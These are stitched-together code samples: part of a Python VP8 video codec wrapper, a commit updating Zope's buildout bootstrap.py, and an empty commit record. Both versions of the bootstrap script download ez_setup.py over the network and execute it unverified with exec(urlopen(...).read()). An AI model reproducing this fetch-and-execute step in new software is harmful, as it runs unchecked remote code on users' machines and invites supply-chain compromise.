                tl0picidx = unpack('!B', data[pos:pos+1])[0]
                pos += 1
            if ext_T or ext_K:
                t_k = unpack('!B', data[pos:pos+1])[0]
                if ext_T:
                    tid = (
                        (t_k >> 6) & 3,
                        (t_k >> 5) & 1
                    )
                if ext_K:
                    keyidx = t_k & 0x1f
                pos += 1

        obj = cls(partition_start=partition_start, partition_id=partition_id, picture_id=picture_id,
                  tl0picidx=tl0picidx, tid=tid, keyidx=keyidx)
        return obj, data[pos:]

def _vpx_assert(err):
    if err != lib.VPX_CODEC_OK:
        reason = ffi.string(lib.vpx_codec_err_to_string(err))
        raise Exception('libvpx error: ' + reason.decode('utf8'))

class VpxDecoder:
    def __init__(self):
        self.codec = ffi.new('vpx_codec_ctx_t *')
        _vpx_assert(lib.vpx_codec_dec_init(self.codec, lib.vpx_codec_vp8_dx(), ffi.NULL, 0))

        ppcfg = ffi.new('vp8_postproc_cfg_t *')
        ppcfg.post_proc_flag = lib.VP8_DEMACROBLOCK | lib.VP8_DEBLOCK
        ppcfg.deblocking_level = 3
        lib.vpx_codec_control_(self.codec, lib.VP8_SET_POSTPROC, ppcfg)

    def __del__(self):
        lib.vpx_codec_destroy(self.codec)

    def decode(self, payloads):
        data = b''
        for payload in payloads:
            if payload:
                vpx_descriptor, rest = VpxPayloadDescriptor.parse(payload)
                data += rest

        frames = []
        result = lib.vpx_codec_decode(self.codec, data, len(data), ffi.NULL, lib.VPX_DL_REALTIME)
        if result == lib.VPX_CODEC_OK:
            it = ffi.new('vpx_codec_iter_t *')
            while True:
                img = lib.vpx_codec_get_frame(self.codec, it)
                if not img:
                    break
                assert img.fmt == lib.VPX_IMG_FMT_I420

                o_buf = bytearray(math.ceil(img.d_w * img.d_h * 12 / 8))
                o_pos = 0
                for p in range(3):
                    i_stride = img.stride[p]
                    i_buf = ffi.buffer(img.planes[p], i_stride * img.d_h)
                    i_pos = 0

                    div = p and 2 or 1
                    o_stride = img.d_w // div
                    for r in range(0, img.d_h // div):
                        o_buf[o_pos:o_pos + o_stride] = i_buf[i_pos:i_pos + o_stride]
                        i_pos += i_stride
                        o_pos += o_stride

                frames.append(VideoFrame(width=img.d_w, height=img.d_h, data=bytes(o_buf)))

        return frames

class VpxEncoder:
    timestamp_increment = 3000

    def __init__(self):
        self.cx = lib.vpx_codec_vp8_cx()

        self.cfg = ffi.new('vpx_codec_enc_cfg_t *')
        lib.vpx_codec_enc_config_default(self.cx, self.cfg, 0)

        self.codec = None
        self.timestamp = 0

    def __del__(self):
        if self.codec:
            lib.vpx_codec_destroy(self.codec)

    def encode(self, frame):
        image = ffi.new('vpx_image_t *')

        lib.vpx_img_wrap(image, lib.VPX_IMG_FMT_I420,
                         frame.width, frame.height, 1, frame.data)

        if self.codec and (frame.width != self.cfg.g_w or frame.height != self.cfg.g_h):
            lib.vpx_codec_destroy(self.codec)
            self.codec = None

        if not self.codec:
            self.codec = ffi.new('vpx_codec_ctx_t *')
            self.cfg.g_timebase.num = 1
            self.cfg.g_timebase.den = 90000
            self.cfg.g_threads = number_of_threads(frame.width * frame.height,
                                                   multiprocessing.cpu_count())
            self.cfg.g_w = frame.width
            self.cfg.g_h = frame.height
            self.cfg.rc_target_bitrate = 900
            self.cfg.rc_end_usage = lib.VPX_CBR
            self.cfg.rc_min_quantizer = 2
            self.cfg.rc_max_quantizer = 56
            self.cfg.rc_undershoot_pct = 100
            self.cfg.rc_overshoot_pct = 15
            self.cfg.rc_buf_initial_sz = 500
            self.cfg.rc_buf_optimal_sz = 600
            self.cfg.rc_buf_sz = 1000
            self.cfg.kf_mode = lib.VPX_KF_AUTO
            self.cfg.kf_max_dist = 3000
            _vpx_assert(lib.vpx_codec_enc_init(self.codec, self.cx, self.cfg, 0))

        duration = 90000 // MAX_FRAME_RATE
        _vpx_assert(lib.vpx_codec_encode(
            self.codec, image, self.timestamp, duration,  0, lib.VPX_DL_REALTIME))
        self.timestamp += duration

        it = ffi.new('vpx_codec_iter_t *')
        payloads = []
        while True:
            pkt = lib.vpx_codec_get_cx_data(self.codec, it)
            if not pkt:
                break
            if pkt and pkt.kind == lib.VPX_CODEC_CX_FRAME_PKT:
                buf = ffi.buffer(pkt.data.frame.buf, pkt.data.frame.sz)
                descr = VpxPayloadDescriptor(partition_start=1, partition_id=0)
                for pos in range(0, len(buf), PACKET_MAX):
                    data = buf[pos:pos + PACKET_MAX]
                    payloads.append(bytes(descr) + data)
                    descr.partition_start = 0
        return payloads
<|endoftext|>


<commit_before>##############################################################################
#
# Copyright (c) 2006 Zope Foundation and Contributors.
# All Rights Reserved.
#
# This software is subject to the provisions of the Zope Public License,
# Version 2.1 (ZPL).  A copy of the ZPL should accompany this distribution.
# THIS SOFTWARE IS PROVIDED "AS IS" AND ANY AND ALL EXPRESS OR IMPLIED
# WARRANTIES ARE DISCLAIMED, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED
# WARRANTIES OF TITLE, MERCHANTABILITY, AGAINST INFRINGEMENT, AND FITNESS
# FOR A PARTICULAR PURPOSE.
#
##############################################################################
"""Bootstrap a buildout-based project

Simply run this script in a directory containing a buildout.cfg.
The script accepts buildout command-line options, so you can
use the -c option to specify an alternate configuration file.
"""

import os
import shutil
import sys
import tempfile

from optparse import OptionParser

tmpeggs = tempfile.mkdtemp()

usage = '''\
[DESIRED PYTHON FOR BUILDOUT] bootstrap.py [options]

Bootstraps a buildout-based project.

Simply run this script in a directory containing a buildout.cfg, using the
Python that you want bin/buildout to use.

Note that by using --find-links to point to local resources, you can keep
this script from going over the network.
'''

parser = OptionParser(usage=usage)
parser.add_option("-v", "--version", help="use a specific zc.buildout version")

parser.add_option("-t", "--accept-buildout-test-releases",
                  dest='accept_buildout_test_releases',
                  action="store_true", default=False,
                  help=("Normally, if you do not specify a --version, the "
                        "bootstrap script and buildout gets the newest "
                        "*final* versions of zc.buildout and its recipes and "
                        "extensions for you.  If you use this flag, "
                        "bootstrap and buildout will get the newest releases "
                        "even if they are alphas or betas."))
parser.add_option("-c", "--config-file",
                  help=("Specify the path to the buildout configuration "
                        "file to be used."))
parser.add_option("-f", "--find-links",
                  help=("Specify a URL to search for buildout releases"))

options, args = parser.parse_args()

######################################################################
# load/install setuptools

to_reload = False
try:
    import pkg_resources
    import setuptools
except ImportError:
    ez = {}

    try:
        from urllib.request import urlopen
    except ImportError:
        from urllib2 import urlopen

    # XXX use a more permanent ez_setup.py URL when available.
    exec(urlopen('https://bitbucket.org/pypa/setuptools/raw/0.7.2/ez_setup.py'
                ).read(), ez)
    setup_args = dict(to_dir=tmpeggs, download_delay=0)
    ez['use_setuptools'](**setup_args)

    if to_reload:
        reload(pkg_resources)
    import pkg_resources
    # This does not (always?) update the default working set.  We will
    # do it.
    for path in sys.path:
        if path not in pkg_resources.working_set.entries:
            pkg_resources.working_set.add_entry(path)

######################################################################
# Install buildout

ws = pkg_resources.working_set

cmd = [sys.executable, '-c',
       'from setuptools.command.easy_install import main; main()',
       '-mZqNxd', tmpeggs]

find_links = os.environ.get(
    'bootstrap-testing-find-links',
    options.find_links or
    ('http://downloads.buildout.org/'
     if options.accept_buildout_test_releases else None)
    )
if find_links:
    cmd.extend(['-f', find_links])

setuptools_path = ws.find(
    pkg_resources.Requirement.parse('setuptools')).location

requirement = 'zc.buildout'
version = options.version
if version is None and not options.accept_buildout_test_releases:
    # Figure out the most recent final version of zc.buildout.
    import setuptools.package_index
    _final_parts = '*final-', '*final'

    def _final_version(parsed_version):
        for part in parsed_version:
            if (part[:1] == '*') and (part not in _final_parts):
                return False
        return True
    index = setuptools.package_index.PackageIndex(
        search_path=[setuptools_path])
    if find_links:
        index.add_find_links((find_links,))
    req = pkg_resources.Requirement.parse(requirement)
    if index.obtain(req) is not None:
        best = []
        bestv = None
        for dist in index[req.project_name]:
            distv = dist.parsed_version
            if _final_version(distv):
                if bestv is None or distv > bestv:
                    best = [dist]
                    bestv = distv
                elif distv == bestv:
                    best.append(dist)
        if best:
            best.sort()
            version = best[-1].version
if version:
    requirement = '=='.join((requirement, version))
cmd.append(requirement)

import subprocess
if subprocess.call(cmd, env=dict(os.environ, PYTHONPATH=setuptools_path)) != 0:
    raise Exception(
        "Failed to execute command:\n%s",
        repr(cmd)[1:-1])

######################################################################
# Import and run buildout

ws.add_entry(tmpeggs)
ws.require(requirement)
import zc.buildout.buildout

if not [a for a in args if '=' not in a]:
    args.append('bootstrap')

# if -c was provided, we push it back into args for buildout' main function
if options.config_file is not None:
    args[0:0] = ['-c', options.config_file]

zc.buildout.buildout.main(args)
shutil.rmtree(tmpeggs)
<commit_msg>Update bootstrap script<commit_after>##############################################################################
#
# Copyright (c) 2006 Zope Foundation and Contributors.
# All Rights Reserved.
#
# This software is subject to the provisions of the Zope Public License,
# Version 2.1 (ZPL).  A copy of the ZPL should accompany this distribution.
# THIS SOFTWARE IS PROVIDED "AS IS" AND ANY AND ALL EXPRESS OR IMPLIED
# WARRANTIES ARE DISCLAIMED, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED
# WARRANTIES OF TITLE, MERCHANTABILITY, AGAINST INFRINGEMENT, AND FITNESS
# FOR A PARTICULAR PURPOSE.
#
##############################################################################
"""Bootstrap a buildout-based project

Simply run this script in a directory containing a buildout.cfg.
The script accepts buildout command-line options, so you can
use the -c option to specify an alternate configuration file.
"""

import os
import shutil
import sys
import tempfile

from optparse import OptionParser

tmpeggs = tempfile.mkdtemp()

usage = '''\
[DESIRED PYTHON FOR BUILDOUT] bootstrap.py [options]

Bootstraps a buildout-based project.

Simply run this script in a directory containing a buildout.cfg, using the
Python that you want bin/buildout to use.

Note that by using --find-links to point to local resources, you can keep
this script from going over the network.
'''

parser = OptionParser(usage=usage)
parser.add_option("-v", "--version", help="use a specific zc.buildout version")

parser.add_option("-t", "--accept-buildout-test-releases",
                  dest='accept_buildout_test_releases',
                  action="store_true", default=False,
                  help=("Normally, if you do not specify a --version, the "
                        "bootstrap script and buildout gets the newest "
                        "*final* versions of zc.buildout and its recipes and "
                        "extensions for you.  If you use this flag, "
                        "bootstrap and buildout will get the newest releases "
                        "even if they are alphas or betas."))
parser.add_option("-c", "--config-file",
                  help=("Specify the path to the buildout configuration "
                        "file to be used."))
parser.add_option("-f", "--find-links",
                  help=("Specify a URL to search for buildout releases"))
parser.add_option("--allow-site-packages",
                  action="store_true", default=False,
                  help=("Let bootstrap.py use existing site packages"))
parser.add_option("--setuptools-version",
                  help="use a specific setuptools version")

options, args = parser.parse_args()

######################################################################
# load/install setuptools

try:
    if options.allow_site_packages:
        import setuptools
        import pkg_resources
    from urllib.request import urlopen
except ImportError:
    from urllib2 import urlopen

ez = {}
exec(urlopen('https://bootstrap.pypa.io/ez_setup.py').read(), ez)

if not options.allow_site_packages:
    # ez_setup imports site, which adds site packages
    # this will remove them from the path to ensure that incompatible versions
    # of setuptools are not in the path
    import site
    # inside a virtualenv, there is no 'getsitepackages'.
    # We can't remove these reliably
    if hasattr(site, 'getsitepackages'):
        for sitepackage_path in site.getsitepackages():
            sys.path[:] = [x for x in sys.path if sitepackage_path not in x]

setup_args = dict(to_dir=tmpeggs, download_delay=0)

if options.setuptools_version is not None:
    setup_args['version'] = options.setuptools_version

ez['use_setuptools'](**setup_args)
import setuptools
import pkg_resources

# This does not (always?) update the default working set.  We will
# do it.
for path in sys.path:
    if path not in pkg_resources.working_set.entries:
        pkg_resources.working_set.add_entry(path)

######################################################################
# Install buildout

ws = pkg_resources.working_set

cmd = [sys.executable, '-c',
       'from setuptools.command.easy_install import main; main()',
       '-mZqNxd', tmpeggs]

find_links = os.environ.get(
    'bootstrap-testing-find-links',
    options.find_links or
    ('http://downloads.buildout.org/'
     if options.accept_buildout_test_releases else None)
    )
if find_links:
    cmd.extend(['-f', find_links])

setuptools_path = ws.find(
    pkg_resources.Requirement.parse('setuptools')).location

requirement = 'zc.buildout'
version = options.version
if version is None and not options.accept_buildout_test_releases:
    # Figure out the most recent final version of zc.buildout.
    import setuptools.package_index
    _final_parts = '*final-', '*final'

    def _final_version(parsed_version):
        try:
            return not parsed_version.is_prerelease
        except AttributeError:
            # Older setuptools
            for part in parsed_version:
                if (part[:1] == '*') and (part not in _final_parts):
                    return False
            return True

    index = setuptools.package_index.PackageIndex(
        search_path=[setuptools_path])
    if find_links:
        index.add_find_links((find_links,))
    req = pkg_resources.Requirement.parse(requirement)
    if index.obtain(req) is not None:
        best = []
        bestv = None
        for dist in index[req.project_name]:
            distv = dist.parsed_version
            if _final_version(distv):
                if bestv is None or distv > bestv:
                    best = [dist]
                    bestv = distv
                elif distv == bestv:
                    best.append(dist)
        if best:
            best.sort()
            version = best[-1].version
if version:
    requirement = '=='.join((requirement, version))
cmd.append(requirement)

import subprocess
if subprocess.call(cmd, env=dict(os.environ, PYTHONPATH=setuptools_path)) != 0:
    raise Exception(
        "Failed to execute command:\n%s" % repr(cmd)[1:-1])

######################################################################
# Import and run buildout

ws.add_entry(tmpeggs)
ws.require(requirement)
import zc.buildout.buildout

if not [a for a in args if '=' not in a]:
    args.append('bootstrap')

# if -c was provided, we push it back into args for buildout' main function
if options.config_file is not None:
    args[0:0] = ['-c', options.config_file]

zc.buildout.buildout.main(args)
shutil.rmtree(tmpeggs)
<|endoftext|>


<commit_before><commit_msg>NEW: testing scikit-image<commit_after><|endoftext|>